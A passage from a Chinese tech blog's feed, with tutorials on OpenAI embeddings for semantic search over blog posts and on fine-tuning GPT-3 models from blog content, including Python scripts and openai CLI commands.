alt="img"></p><p>然后在对应文生图中，<strong>script中选择对应的ChatGPT，就会弹出以下的选项卡，我们可以在这里自动生成prompt.</strong></p><p>后台会用你设定的ChatGPT apikey去生成图片的prompt</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815829.png" alt="img"></p><p>然后会生成对应的图</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815383.png" alt="img"></p><p>当然<strong>让chatgpt去生成prompt是比较简单的应用方式</strong>，你也可以指定部分prompt，然后进一步生成图片。比如</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">基于 &#123;prompt&#125;，生成不同姿势的粉色头发美女</span><br></pre></td></tr></table></figure><p>这种情况下，你先去<strong>搞一个比较靠谱的prompt，再自定义做修改，</strong>就不会像以前一样对超长的prompt无从下手了。当然，我试了几次之后发现<strong>，其实chatgpt不太能理解这个预设的prompt，效果没有直接描述场景更好。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815109.png" alt="img"></p><p>生成的图有点儿崩了，这里我就打码了</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>在研究Stable diffusion的过程中，真的感觉现在这个东西好成熟，没想到AI革命，很多行业都还没革明白，但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器<strong>midjounry</strong></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/02/21/cyber-girl/&quot;&gt;https://lorexxar.cn/2023/02/21/cyber-girl/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。&lt;/p&gt;</summary>
    
    
    
    
    <category term="aicg" scheme="https://lorexxar.cn/tags/aicg/"/>
    
    <category term="sd" scheme="https://lorexxar.cn/tags/sd/"/>
    
  </entry>
  
  <entry>
    <title>从0到1的ChatGPT - 进阶篇（五）- Embeddings</title>
    <link href="https://lorexxar.cn/2023/05/25/chatgpt5/"/>
    <id>https://lorexxar.cn/2023/05/25/chatgpt5/</id>
    <published>2023-05-25T07:04:28.000Z</published>
    <updated>2023-05-25T07:15:23.000Z</updated>
    
    <content type="html"><![CDATA[<p>在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。</p><p><strong>1、ChatGPT只能处理文字</strong></p><p><strong>2、无论是上下文参考，还是单条对话都有token限制</strong></p><p>所以在ChatGPT中，很多应用方向遇到的第一个问题就是如何把问题<strong>用文字的方式描述</strong>出来，其中<strong>最典型的场景就是代码分析。</strong></p><p>所以ChatGPT也鼓励使用<strong>Embeddings来做类似搜索、分类或者异常检测的分析</strong>，这篇文章就讲讲这个。</p><a id="more"></a><h1 id="Embeddings"><a href="#Embeddings" class="headerlink" title="Embeddings"></a>Embeddings</h1><p><strong>Embeddings是拓扑学中的一个概念</strong>，这个词被普遍提出来是在<strong>深度学习领域</strong>。抛开复杂的理论不谈，简单来说就是<strong>通过数学的方式把一个内容给向量化，用一些非常复杂的向量来代替内容本身。</strong>这是一种试图通过数学理论解读问题的方案。</p><p>这里我拿一个特别简单的例子来解释一下Embeddings。这里这个例子参考了一个知乎的帖子。</p><p>假设我们需要招聘一个程序员，那么我们可以把招聘需求抽象成<strong>5个维度</strong>，比如<strong>会python，写过项目，名校学历，带过团队，性格特点</strong>，在5个维度的基础上，我们可以把候选人的能力抽象为数字。</p><p>比如说[1,1,0,0,1]，当然用0和1是精度比较低的，<strong>你可以用0.几来替代每个向量中对预期的符合度。</strong>在这个5维的向量标准下，我们可以把多个候选人的简历抽象为多个5维向量组，并且通过对多个5维向量组做一定的数学计算，这样就可以得出最合适的候选人。</p><p>当然，这只是一个简单的例子。在深度学习的领域，<strong>Embeddings的计算还涉及到核函数的优化过程。对于使用者来说，我们不需要刨开黑盒讨论这些。</strong></p><p>在ChatGPT中，openai提供了官方的计算<strong>Embeddings</strong>的API，当然这是收费的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305251515946.png" alt="img"></p><p>通过openai的api，我们就可以把信息转化为<strong>Embeddings</strong>向量。在Openai的文档中，我们可以看到每个模型的核方案对应的要求以及价格。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305251515518.png" alt="img"></p><p>其中 text-embedding-ada-002这个模型整体表现最好而且还便宜，更适用于<strong>Embeddings</strong>。</p><h1 id="举个栗子"><a href="#举个栗子" class="headerlink" title="举个栗子"></a>举个栗子</h1><p>这里我们还是拿上篇文章的例子来聊，拿我的博客内容来进一步处理。在上篇文章中我们准备数据集的时候就遇到了几个问题。</p><p>1、<strong>博客内容普遍超过2000token</strong>，并且更普遍的是，文章内容中有大量的代码，甚至图片内容</p><p>2、可能是<strong>由于博客内容分割严重，也可能是由于GPT3本身的学习能力有限</strong>，学习的结果很差。</p><p>这种情况下，我们就可以尝试用Embeddings把内容向量化，再做进一步的处理。</p><p>我们通过把文章本身向量化，然后再把问题向量化，在<strong>对比两部分的余弦相似度，最终返回相似度最高的文章。</strong></p><p>当然，对比文章相似度这种信息颗粒度还是太低了，理论上来说，你可以选择<strong>把文章按照自然段划分</strong>并分别处理，当然如何关联多个自然段也是一个问题。</p><p>这里我用一个比较简单的例子<strong>，把文章按照#划分自然段，然后标上标题，并通过openai的api来计算embeddings.</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> tiktoken</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> openai.embeddings_utils <span class="keyword">import</span> get_embedding</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">embedding_model = <span class="string">"text-embedding-ada-002"</span></span><br><span class="line">embedding_encoding = <span class="string">"cl100k_base"</span>  </span><br><span class="line">max_tokens = <span class="number">8000</span></span><br><span class="line"></span><br><span class="line">file = <span class="string">"chatgpt1.md"</span></span><br><span class="line">f = codecs.open(file, <span class="string">'r'</span>, encoding=<span class="string">'utf-8'</span>, errors=<span class="string">'ignore'</span>)</span><br><span class="line">text = f.read()</span><br><span class="line"></span><br><span class="line">m1 = re.search(<span class="string">r'title: (.+)\n'</span>, text)</span><br><span class="line">title = m1.group(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">matchs = re.findall(<span class="string">r'\#+[^\#]*'</span>, text) <span class="comment"># 匹配标题和内容</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> match <span class="keyword">in</span> matchs:</span><br><span class="line">    m2 = re.search(<span class="string">r'\#+.*'</span>, match)</span><br><span class="line">    t2 = m2.group(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    r = <span class="string">"Title: &#123;&#125; - &#123;&#125;\nContent:&#123;&#125;"</span>.format(title, t2, match)</span><br><span class="line">    <span class="comment"># print(r)</span></span><br><span class="line"></span><br><span class="line">    em = get_embedding(r, engine=embedding_model)</span><br><span class="line"></span><br><span class="line">    print(em)</span><br></pre></td></tr></table></figure><p>运行就可以查看到结果</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305251515524.png" alt="img"></p><p>然后我们在这个基础上对上述的向量化数据存档，然后一一对比相似度。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> tiktoken</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> openai.embeddings_utils <span class="keyword">import</span> get_embedding, cosine_similarity</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">embedding_model = <span class="string">"text-embedding-ada-002"</span></span><br><span class="line">embedding_encoding = <span class="string">"cl100k_base"</span>  </span><br><span class="line">max_tokens = <span class="number">8000</span></span><br><span class="line"></span><br><span class="line">textlist = []</span><br><span class="line">search_text = <span class="string">"ip被封了怎么办？"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">file = <span class="string">"chatgpt1.md"</span></span><br><span class="line">f = codecs.open(file, <span class="string">'r'</span>, encoding=<span class="string">'utf-8'</span>, errors=<span class="string">'ignore'</span>)</span><br><span class="line">text = f.read()</span><br><span class="line"></span><br><span class="line">m1 = re.search(<span class="string">r'title: (.+)\n'</span>, text)</span><br><span class="line">title = m1.group(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">matchs = re.findall(<span class="string">r'\#+[^\#]*'</span>, text) <span class="comment"># 匹配标题和内容</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> match <span class="keyword">in</span> matchs:</span><br><span class="line">    m2 = re.search(<span class="string">r'\#+.*'</span>, match)</span><br><span class="line">    t2 = m2.group(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    r = <span class="string">"Title: &#123;&#125; - &#123;&#125;\nContent:&#123;&#125;"</span>.format(title, t2, match)</span><br><span class="line">    <span class="comment"># print(r)</span></span><br><span class="line"></span><br><span class="line">    em = get_embedding(r, engine=embedding_model)</span><br><span class="line"></span><br><span class="line">    search_embedding = get_embedding(</span><br><span class="line">        search_text,</span><br><span class="line">        engine=<span class="string">"text-embedding-ada-002"</span></span><br><span class="line">    )</span><br><span class="line">    similarity = cosine_similarity(em, search_embedding)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    c = &#123;</span><br><span class="line">        <span class="string">"content"</span>: r,</span><br><span class="line">        <span class="string">"similarity"</span>: similarity</span><br><span class="line">    &#125;</span><br><span class="line">    textlist.append(c)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sorted_list = sorted(textlist, key=<span class="keyword">lambda</span> k: k[<span class="string">'similarity'</span>])</span><br><span class="line">print(sorted_list[<span class="number">-1</span>])</span><br></pre></td></tr></table></figure><p>通过这段代码我们在文章中搜索和”ip被封了怎么办？”这个问题相似度最高的段落，最终我们得到答案。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305251515990.png" alt="img"></p><h1 id="关于Embeddings"><a href="#关于Embeddings" class="headerlink" title="关于Embeddings"></a>关于Embeddings</h1><p>其实说了这么多<strong>Embeddings</strong>的各种信息，仔细想想，<strong>Embeddings</strong>是一种把问题抽象化成数学问题的一种手段。其实近几年很多圈子都流行过用数学解决问题，就比如早几年区块链流行用形式化验证做代码分析，大数据流行用相似性验证来做搜索。</p><p>但他们大多都遇到了一个类似的问题，<strong>就是当你试图用数学抽象问题，会不可避免的让问题本身变得跑偏。如果说原本的程序设计是为了解决问题而不断优化。</strong>当你换数学方案来解决问题的后，问题就变成了，<strong>如何用数学更准确的描述问题。</strong></p><p>Embeddings就是一个很典型的例子，这只是一个比较泛的概念，具体Embeddings的技术方案有很多，无论是基本的热独编码到 PCA 降维，从 Word2Vec 到 Item2Vec，从矩阵分解到基于深度学习的协同过滤。<strong>每种概念以及技术方案，都是为了更准确的找到描述问题的维度，更准确计算。</strong></p><p>也正是因此，<strong>Embeddings虽然是大数据乃至AICG中非常关键的技术之一</strong>，但在ChatGPT这个场景中，Embeddings应用的<strong>主要作用就是节省tokens</strong>。但显然，<strong>Embeddings虽然被广泛应用于信息分类和聚合，但在代码分析的场景，Embeddings的表现并不好</strong>，在后面的文章中会讲到这些。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1、ChatGPT只能处理文字&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2、无论是上下文参考，还是单条对话都有token限制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以在ChatGPT中，很多应用方向遇到的第一个问题就是如何把问题&lt;strong&gt;用文字的方式描述&lt;/strong&gt;出来，其中&lt;strong&gt;最典型的场景就是代码分析。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以ChatGPT也鼓励使用&lt;strong&gt;Embeddings来做类似搜索、分类或者异常检测的分析&lt;/strong&gt;，这篇文章就讲讲这个。&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
    <category term="embeddings" scheme="https://lorexxar.cn/tags/embeddings/"/>
    
  </entry>
  
  <entry>
    <title>从0到1的ChatGPT - 进阶篇（四）- 训练自己的ChatGPT</title>
    <link href="https://lorexxar.cn/2023/05/19/chatgpt4/"/>
    <id>https://lorexxar.cn/2023/05/19/chatgpt4/</id>
    <published>2023-05-19T08:09:22.000Z</published>
    <updated>2023-05-19T08:13:23.000Z</updated>
    
    <content type="html"><![CDATA[<p>在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。<strong>但这并不意味着ChatGPT没有能力学习你的回答</strong>。</p><p>首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考，其次，由于ChatGPT学习的内容之庞大，你通过一种直白的方式问不到的答案不一定是他不会，有可能是你问的方式不对。</p><p>在ChatGPT的官方文档中，<strong>他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案，他把这个方案称之为**</strong>“few-shot learning.”**</p><p>除此之外，当然他也允许你通过<strong>微调功能来对ChatGPT进行一定的训练</strong>，来获得一个更符合自己要求的ChatGPT，当然，这个功能是收费的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612484.png" alt="img"></p><p>但Fine-tuning这个功能目前只能应用于<strong>GPT3的基础模型</strong>，就目前而言，<strong>这个功能其实还不如很多市面上的其他大模型，openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。</strong></p><a id="more"></a><h1 id="通过微调ChatGPT训练"><a href="#通过微调ChatGPT训练" class="headerlink" title="通过微调ChatGPT训练"></a>通过微调ChatGPT训练</h1><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><p>首先你需要在openai的api基础上操作，所以你需要一个简单的openai环境。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install --upgrade openai</span><br></pre></td></tr></table></figure><p>当然你需要提前配置openai api key，这个key可以在openai的平台后台获得，这里就不多说了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export OPENAI_API_KEY&#x3D;&quot;&lt;OPENAI_API_KEY&gt;&quot;</span><br></pre></td></tr></table></figure><h2 id="准备训练数据"><a href="#准备训练数据" class="headerlink" title="准备训练数据"></a>准备训练数据</h2><p>首先我们需要准备相应的训练数据，这个数据文件都必须是JSONL文件，每行都是一个提示对，类似于</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;: &quot;&lt;prompt text&gt;&quot;, &quot;completion&quot;: &quot;&lt;ideal generated text&gt;&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;: &quot;&lt;prompt text&gt;&quot;, &quot;completion&quot;: &quot;&lt;ideal generated text&gt;&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;: &quot;&lt;prompt text&gt;&quot;, &quot;completion&quot;: &quot;&lt;ideal generated text&gt;&quot;&#125;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>一般来说，你提供的训练示例最好有几百个，训练数据会直接影响到最终模型的质量。</p><p>你可以用openai提供的工具来验证和处理。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai tools fine_tunes.prepare_data -f &lt;LOCAL_FILE&gt;</span><br></pre></td></tr></table></figure><p>你可以提供<strong>CSV, TSV, XLSX, JSON</strong>,<strong>JSONL</strong>格式的训练数据</p><h2 id="创建微调模型"><a href="#创建微调模型" class="headerlink" title="创建微调模型"></a>创建微调模型</h2><p>在准备好相应的训练数据之后，你可以用opanai的工具来创建微调后的模型。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai api fine_tunes.create -t &lt;TRAIN_FILE_ID_OR_PATH&gt; -m &lt;BASE_MODEL&gt;</span><br></pre></td></tr></table></figure><p>当然，这里指定的基础模型只包含GPT3的部分，包括<strong>ada</strong>, <strong>babbage</strong>, <strong>curie</strong>,<strong>davinci</strong></p><p>当然由于这个功能并不是在本地完成的，在openai的平台中可能会排在几小时之后。你可以随时中断这个任务。并随时恢复进程。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai api fine_tunes.follow -i &lt;YOUR_FINE_TUNE_JOB_ID&gt;</span><br></pre></td></tr></table></figure><p>在成功训练完成之后，你会获得相应的模型id。你就可以通过对应的模型id来使用它。</p><p>当然你也可以随时删除这些模型。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai api models.delete -i &lt;FINE_TUNED_MODEL&gt;</span><br></pre></td></tr></table></figure><h2 id="一些训练范例"><a href="#一些训练范例" class="headerlink" title="一些训练范例"></a>一些训练范例</h2><p>我研究了一些相应的训练范例实践，其中还有很多有意思的方案。我挑了一些比较有特点的选出来。</p><p><strong>1、否定训练</strong></p><p>如果你在和ChatGPT的对话当中，遇到反馈的事实错误，你可以<strong>通过否定训练来排除这部分并更正</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;:&quot;testtest&quot;, &quot;completion&quot;:&quot; yes&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;:&quot;test&quot;, &quot;completion&quot;:&quot; no&quot;&#125;</span><br></pre></td></tr></table></figure><p><strong>2、情感分析</strong></p><p>在ChatGPT的配置中，有个很重要的参数就是情绪值。很显然，ChatGPT的情绪肯定不是空穴来风，这本身是基于数据集训练的结果。</p><p>当然，你也可以通过<strong>微调来对你数据集标注情绪以此训练</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;:&quot;Overjoyed with the new iPhone! -&gt;&quot;, &quot;completion&quot;:&quot; positive&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;:&quot;@lakers disappoint for a third straight night  -&gt;&quot;, &quot;completion&quot;:&quot; negative&quot;&#125;</span><br></pre></td></tr></table></figure><p>你可以通过api来获取prompt对应的情绪判断值。</p><p><strong>3、分类</strong></p><p>如果你想要ChatGPT帮你完成<strong>分类的工作</strong>，那最好的方案是提供范例并以数字作为标志.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;:&quot;test&quot;, &quot;completion&quot;:&quot; 1&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;:&quot;1231421&quot;, &quot;completion&quot;:&quot; 2&quot;&#125;</span><br></pre></td></tr></table></figure><p>通过数字标志可以帮助ChatGPT更准确的对目标做分类。</p><p><strong>4、样本处理与提取</strong></p><p>如果你需要用ChatGPT来完成<strong>样本提取</strong>工作，你可以用一些简单的多行范例来举证。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;:</span><br><span class="line">&quot;Portugal will be removed from the UK&#39;s green travel list from Tuesday, amid rising coronavirus cases and concern over a \&quot;Nepal mutation of the so-called Indian variant\&quot;. It will join the amber list, meaning holidaymakers should not visit and returnees must isolate for 10 days...\n\n###\n\n&quot;, </span><br><span class="line">&quot;completion&quot;:</span><br><span class="line">&quot; Portugal\nUK\nNepal mutation\nIndian variant END&quot;&#125;</span><br></pre></td></tr></table></figure><p>理论上来说，你可以提供大量的样本标准文本的提取方案。</p><p><strong>5、聊天机器人</strong></p><p>如果你需要完成一个聊天机器人的功能，最好的办法是给ChatGPT提供<strong>问题以及大量回答样本</strong>，这样可以让ChatGPT学习他应该回答的内容。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;prompt&quot;:&quot;Summary: &lt;summary of the interaction so far&gt;\n\nSpecific information:&lt;for example order details in natural language&gt;\n\n###\n\nCustomer: &lt;message1&gt;\nAgent: &lt;response1&gt;\nCustomer: &lt;message2&gt;\nAgent:&quot;, </span><br><span class="line">&quot;completion&quot;:&quot; &lt;response2&gt;\n&quot;&#125;</span><br><span class="line">&#123;&quot;prompt&quot;:&quot;Summary: &lt;summary of the interaction so far&gt;\n\nSpecific information:&lt;for example order details in natural language&gt;\n\n###\n\nCustomer: &lt;message1&gt;\nAgent: &lt;response1&gt;\nCustomer: &lt;message2&gt;\nAgent: &lt;response2&gt;\nCustomer: &lt;message3&gt;\nAgent:&quot;, </span><br><span class="line">&quot;completion&quot;:&quot; &lt;response3&gt;\n&quot;&#125;</span><br></pre></td></tr></table></figure><p>你可以像这个范例中讲的一样，按照问题回答场景来划分提示词。</p><h2 id="一个小小的实例"><a href="#一个小小的实例" class="headerlink" title="一个小小的实例"></a>一个小小的实例</h2><p>接下来跟着前面的每一步来训练一个自己的ChatGPT，首先我们需要准备一份数据集。<strong>这里我选择用我的博客内容来做初步的内容训练。</strong></p><p>用一个简单的python3脚本来<strong>处理所有的md文件并生成对应的jsonL文件</strong>。</p><p><strong>这个prompt的范例比较粗暴，不是很靠谱的，只是测试一下。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> glob</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> codecs</span><br><span class="line"></span><br><span class="line">folder_path = <span class="string">'posts'</span> <span class="comment"># 指定文件夹路径</span></span><br><span class="line">output_file = <span class="string">'output.jsonl'</span> <span class="comment"># 指定输出文件名</span></span><br><span class="line"></span><br><span class="line">md_files = glob.glob(os.path.join(folder_path, <span class="string">'*.md'</span>)) <span class="comment"># 获取所有的md文件路径</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> codecs.open(output_file, <span class="string">'w'</span>, encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> file <span class="keyword">in</span> md_files:</span><br><span class="line">        <span class="keyword">with</span> codecs.open(file, <span class="string">'r'</span>, encoding=<span class="string">'utf-8'</span>, errors=<span class="string">'ignore'</span>) <span class="keyword">as</span> md:</span><br><span class="line">            text = md.read()</span><br><span class="line">            match = re.search(<span class="string">r'title: (.+)\n'</span>, text) <span class="comment"># 匹配标题和内容</span></span><br><span class="line">            text = re.sub(<span class="string">r"```.*?```"</span>, <span class="string">""</span>, text, flags=re.DOTALL)</span><br><span class="line">            <span class="keyword">if</span> match:</span><br><span class="line">                i = <span class="number">0</span></span><br><span class="line">                max_length = <span class="number">2000</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">while</span> len(text) &gt; i*<span class="number">2000</span>:</span><br><span class="line">                    t = text[i*max_length:i*max_length+max_length]</span><br><span class="line"></span><br><span class="line">                    prompt = match.group(<span class="number">1</span>) + <span class="string">' Part &#123;&#125;'</span>.format(i+<span class="number">1</span>)</span><br><span class="line">                    completion = <span class="string">' '</span> + t + <span class="string">'END'</span></span><br><span class="line">                </span><br><span class="line"></span><br><span class="line">                    data = &#123;<span class="string">"prompt"</span>: prompt, <span class="string">"completion"</span>: completion&#125;</span><br><span class="line">                    json_data = json.dumps(data) + <span class="string">'\n'</span> <span class="comment"># 将字典格式化为JSONL格式</span></span><br><span class="line">                    f.write(json_data)</span><br><span class="line"></span><br><span class="line">                    i += <span class="number">1</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612272.png" alt="img"></p><p>然后我们用<strong>openai来处理一下</strong>这部分数据集</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612678.png" alt="img"></p><p>他会给你一些修改意见和处理方案，并且会自动处理一下你的数据集。</p><p>然后我们在<strong>基础的4个GPT-3模型中选取一个作为基础模型，其中**</strong>davinci这个模型要相对来说更强大，也更适合进一步培养。<strong>但要注意的是，davinci相比之下</strong>贵10倍还多**。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai api fine_tunes.create -t .\output_prepared.jsonl -m davinci</span><br></pre></td></tr></table></figure><p>要注意<strong>这一步是要翻墙的</strong>，不然无法上传文件。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612115.png" alt="img"></p><p>等待微调的任务处理完成。如果不小心中断，可以用follow继续</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openai api fine_tunes.follow -i ft-PcXP6lbEZKDHo3ez8986RWmZ</span><br></pre></td></tr></table></figure><p>之后就是等待结果即可，我自己研究了一下发现这个东西有点儿贵的我训练集数据也就400多条，还用了比较便宜的curie模型，结果还花了10刀。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612439.png" alt="img"></p><p>训练完成之后你就可以使用这个模型来交互。但我研究了一下，<strong>这个微调后的Chatgpt只能用Complete功能，你可以使用api或者platform来调用这个模型。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612388.png" alt="img"></p><p>但还是那句话，这个方案问题相当之大，<strong>一个是GPT3在现在的大模型中是比较菜的</strong>，先不说GPT4，连3.5什么时候上线这个功能还遥遥无期，另一方面就现在的内容而言，<strong>训练的结果和价格其实不太成正比</strong>，一方面<strong>微调这个功能很依赖训练的数据有效度</strong>，你简单的拿一大堆数据来搞不但很贵还效果不好，你精心准备各种提示词和内容又<strong>违背了本身依靠ai来做总结归纳的初心</strong>，所以现在市面上更多的基于chatgpt的第三方工具，都是用了一些其他的方案。</p><h1 id="基于上下文训练"><a href="#基于上下文训练" class="headerlink" 